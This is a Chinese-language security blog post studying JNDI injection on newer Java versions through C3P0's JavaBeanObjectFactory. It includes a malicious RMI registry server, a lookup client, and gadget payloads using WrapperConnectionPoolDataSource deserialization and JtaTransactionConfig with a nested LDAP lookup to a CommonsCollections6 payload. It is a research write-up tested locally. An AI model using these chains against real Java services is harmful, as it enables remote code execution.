高版本下的JNDI注入学习

前言

学习,类似Tomcat依赖环境下的利用方式,这次学习的是C3P0依赖环境下的利用方式,算是一种拓展攻击面吧。

类似Tomcat环境下的BeanFactory可以调用一个public方法,该环境中的JavaBeanObjectFactory可以调用setter。

此外还需要一个环境ibatis-sqlmap下面的JtaTransactionConfig类,用于嵌套多一层JNDI。


环境搭建

两个依赖:

1
2
3
4
5
6
7
8
9
10
11
12
<!-- https://mvnrepository.com/artifact/com.mchange/c3p0 -->
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.10.2</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.ibatis/ibatis-sqlmap -->
<dependency>
<groupId>org.apache.ibatis</groupId>
<artifactId>ibatis-sqlmap</artifactId>
<version>2.3.4.726</version>
</dependency>

C3P0

回忆一下,本地Factory要满足的两个条件:

  • 继承ObjectFactory
  • 存在getObjectInstance方法

然后就可以调用它的getObjectInstance函数。

而C3P0JavaBeanObjectFactory继承自JavaBeanObjectFactory类,其getObjectInstance函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public Object getObjectInstance(Object refObj, Name name, Context nameCtx, Hashtable env)
throws Exception {
if (refObj instanceof Reference) {
Reference ref = (Reference) refObj;
Map refAddrsMap = new HashMap();
for (Enumeration e = ref.getAll(); e.hasMoreElements(); ) {
RefAddr addr = (RefAddr) e.nextElement();
refAddrsMap.put( addr.getType(), addr );
}
Class beanClass = Class.forName( ref.getClassName() );
Set refProps = null;
RefAddr refPropsRefAddr = (BinaryRefAddr) refAddrsMap.remove( JavaBeanReferenceMaker.REF_PROPS_KEY );
if ( refPropsRefAddr != null )
refProps = (Set) SerializableUtils.fromByteArray( (byte[]) refPropsRefAddr.getContent() );
Map propMap = createPropertyMap( beanClass, refAddrsMap );
return findBean( beanClass, propMap, refProps );
}
else
return null;
}

可以看到非常令人激动的函数名称findBean,这个getObjectInstance函数的逻辑看起来就是从ref对象里面取出类名和属性名,再进入findBean函数进行实例化和反射赋值。

再看看这个findBean函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
protected Object findBean(Class beanClass, Map propertyMap, Set refProps ) throws Exception {
Object bean = createBlankInstance( beanClass );
BeanInfo bi = Introspector.getBeanInfo( bean.getClass() );
PropertyDescriptor[] pds = bi.getPropertyDescriptors();

for (int i = 0, len = pds.length; i < len; ++i) {
PropertyDescriptor pd = pds[i];
String propertyName = pd.getName();
Object value = propertyMap.get( propertyName );
Method setter = pd.getWriteMethod();
if (value != null) {
if (setter != null)
setter.invoke( bean, new Object[] { (value == NULL_TOKEN ? null : value) } );
else {
...
}
}
...
}

return bean;
}

可以看到createBlankInstance先创建了一个空白的对象:

1
2
protected Object createBlankInstance(Class beanClass) throws Exception
{ return beanClass.newInstance(); }

再调用setter,由于setter是按顺序调用的,因此可能导致利用的时候发生一些错误,比如参考文章里调用JdbcRowSetImpl的setter时就因为顺序问题导致发起JNDI连接失败。

发现ResourceRef类无法引入,看起来需要在pom.xml中引入一下Tomcat依赖:

1
2
3
4
5
6
<!-- https://mvnrepository.com/artifact/org.apache.tomcat.embed/tomcat-embed-core -->
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-core</artifactId>
<version>10.1.39</version>
</dependency>

结果发现版本有问题,Tomcat10不能在Java8运行,只能删掉改成从磁盘上的Tomcat引入jar包了。

写一个Test.java用于测试setter调用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package org.example;

public class Test {
private String data;

public void setData(String data) {
this.data = data;
System.out.println(data);
}

public String getData() {
return data;
}
}

搭建一下RMI服务端:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package org.example;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.StringRefAddr;
import java.io.IOException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import org.apache.naming.ResourceRef;

public class App
{
public static void main( String[] args ) {
try {
Registry registry = LocateRegistry.createRegistry(8888);
ResourceRef resourceRef = c3p0();
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
registry.bind("c3p0", referenceWrapper);
}catch (Exception e) {
e.printStackTrace();
}
System.out.println("Registry运行中......");
}

private static ResourceRef c3p0() throws IOException {
ResourceRef ref = new ResourceRef("org.example.Test",null,"","",true,
"com.mchange.v2.naming.JavaBeanObjectFactory",null);
ref.add(new StringRefAddr("data", "Hello, World!"));
return ref;
}
}

再启动客户端去连接,在实际应用中,这一步可以通过Fastjson反序列化、JNDI注入等方式来实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package org.example;

import javax.naming.InitialContext;

public class Client {
public static void main(String[] args) {
try {
String string = "rmi://localhost:8888/c3p0";
InitialContext initialContext = new InitialContext();
initialContext.lookup(string);
}catch (Exception e) {
e.printStackTrace();
}
}
}

启动,看到setter正常触发了:

1
2
3
4
5
6
7
8
9
三月 13, 2025 10:08:28 上午 com.mchange.v2.log.MLog 
信息: MLog clients using java 1.4+ standard logging.
三月 13, 2025 10:08:28 上午 com.mchange.v2.naming.JavaBeanObjectFactory
警告: com.mchange.v2.naming.JavaBeanObjectFactory -- RefAddr for unknown property: singleton
三月 13, 2025 10:08:28 上午 com.mchange.v2.naming.JavaBeanObjectFactory
警告: com.mchange.v2.naming.JavaBeanObjectFactory -- RefAddr for unknown property: auth
三月 13, 2025 10:08:28 上午 com.mchange.v2.naming.JavaBeanObjectFactory
警告: com.mchange.v2.naming.JavaBeanObjectFactory -- RefAddr for unknown property: scope
Hello, World!

通过C3P0依赖,可以按顺序调用setter,一般情况下不会有什么未初始化问题。

WrapperConnectionPoolDataSource

用于开启一个字节流反序列化点,不过JNDI使用LDAP好像就有反序列化功能了。

通过setUserOverridesAsString可以触发反序列化:

1
2
3
4
5
6
private static ResourceRef c3p0() throws IOException {
ResourceRef ref = new ResourceRef("com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",null,"","",true,
"com.mchange.v2.naming.JavaBeanObjectFactory",null);
ref.add(new StringRefAddr("userOverridesAsString", "Hello, World!"));
return ref;
}

JtaTransactionConfig

用于嵌套多一层JNDI,应用面可能比较窄。

参考文章:

1
2
3
4
5
6
7
8
9
10
11
private static ResourceRef jndi() throws IOException {
ResourceRef ref = new ResourceRef("com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig", null, "", "", true, "com.mchange.v2.naming.JavaBeanObjectFactory", null);
Properties properties = new Properties();
properties.put("UserTransaction", "ldap://127.0.0.1:1389/deserialCommonsCollections6");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(properties);
byte [] bytes = byteArrayOutputStream.toByteArray();
ref.add(new BinaryRefAddr("properties", bytes));
return ref;
}

由于setProperties方法需要的参数properties类型为Properties,因此不能使用StringRefAddr,需要使用RefAddr的另一个实现类BinaryRefAddr。


高版本 jndi 调用 setter 方法拓展攻击面


高版本下的JNDI注入学习
http://yoursite.com/2025/03/13/高版本下的JNDI注入学习/
作者
Aluvion
发布于
2025年3月13日
许可协议